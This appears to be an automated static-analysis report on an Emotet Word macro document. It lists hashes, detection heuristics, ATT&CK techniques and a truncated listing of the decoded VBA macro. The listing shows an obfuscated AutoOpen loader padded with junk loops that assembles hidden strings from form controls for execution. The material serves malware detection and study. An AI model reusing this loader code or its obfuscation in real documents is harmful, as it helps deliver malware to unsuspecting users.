Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c18bad6a45f8a6ac…

MALICIOUS

Office (OLE)

150.0 KB Created: 2019-05-13 19:33:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5efa9900f816c7d7931714c57e5633cd SHA-1: 2fd1e18e88603c0c6cb26d7fe8cd40f8a7da1111 SHA-256: c18bad6a45f8a6acf3e77ac4c34182b27d22e7614c3e31a904cfdbe6d22f8752
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6969373-0', indicating it is likely part of the Emotet family. Critical heuristics indicate an obfuscated auto-exec VBA loader that uses GetObject for execution, suggesting it's designed to download and run a secondary payload. The presence of legacy WordBasic auto-exec markers and VBA macros further supports this.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6969373-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6969373-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8185 bytes
SHA-256: 84a318b69bf57f2170a9736dfadaa2bf8ef07823791c59595077dcb7fbcb5f42
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "T7544_"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "p3883_5"
Attribute VB_Base = "0{48CCBC35-A633-42BB-8F2F-19BA4241251B}{80AE38D2-94A1-4DCD-AEEA-F844ABDAD7DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D_23_909"

Attribute VB_Name = "A70721"

Attribute VB_Name = "p91_00"

Attribute VB_Name = "n55686"

Attribute VB_Name = "s043837"

Attribute VB_Name = "q3381_2"
Attribute VB_Base = "0{E9D8652C-019A-4744-B4BB-F572AC8763FF}{38E1CABB-4C12-4BC1-B32E-4A73AE494D20}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "W7_80077"
Function P32_41(k34_7_7)
   While c3143_4 And v08974
            Close ("X521570")
            Close ("h_7_760")
            Close ("716998480")
            Close ("333246014")
Wend
   While G85_5079 And Y00150
            Close ("v799545_")
            Close ("w9325049")
            Close ("789847143")
            Close ("447900592")
Wend
   While K46848 And N986_9
            Close ("W9548314")
            Close ("j401_4")
            Close ("202799383")
            Close ("162131451")
Wend
Set P32_41 = CVar(k34_7_7)
   While o47763 And k99_54
            Close ("W8_62112")
            Close ("r_041901")
            Close ("465234597")
            Close ("33737622")
Wend
   While C3064_ And c31892
            Close ("N7_40_2")
            Close ("D4085925")
            Close ("430944436")
            Close ("892798185")
Wend
   While j456_608 And T664_00
            Close ("H561337")
            Close ("C52_218")
            Close ("838628702")
            Close ("627710716")
Wend
End Function
Sub _
autoopen()
On Error Resume Next
   While U5_7888 And j670846
            Close ("j45927")
            Close ("B4653399")
            Close ("796063649")
            Close ("59523629")
Wend
   While F__531 And N60__147
            Close ("W7289890")
            Close ("w37974")
            Close ("134206871")
            Close ("678297840")
Wend
   While q9577232 And q2479484
            Close ("k523492")
            Close ("i523_0")
            Close ("55798511")
            Close ("371304095")
Wend
Call o73012
   While i3_73_0 And s59714
            Close ("P_088270")
            Close ("t0_936")
            Close ("606837940")
            Close ("627295910")
Wend
   While p80489 And b007_57
            Close ("b5_95524")
            Close ("r_49642")
            Close ("955259392")
            Close ("578874310")
Wend
End Sub


Attribute VB_Name = "q94982"
Function o73012()
On Error Resume Next
   While q15351 And m354724
            Close ("G27237_2")
            Close ("M303573")
            Close ("889412469")
            Close ("190355619")
Wend
   While M5882906 And o_136_
            Close ("z04451")
            Close ("O6_2307")
            Close ("53621047")
            Close ("934686248")
Wend
O_0426 = p3883_5.f0423943.Tag + q3381_2.I60_9151 + p3883_5.f0423943.Text + q3381_2.J331_05 + p3883_5.f0423943.Value + p3883_5.f0423943 + q3381_2.P854047_ + p3883_5.f0423943.Text + p3883_5.f0423943 + q3381_2.Z_84__ + p3883_5.f0423943.Text + q3381_2.h749931.ControlTipText + p3883_5.f0423943
   While c67912 And h8364623
            Close ("t0_81525")
            Close ("z292131")
            Close ("919509130")
            Close ("468073194")
Wend
   While C922983 And p3_1363
            Close ("D__5315")
            Close ("B2_5222")
            Close ("575845255")
            
... (truncated)

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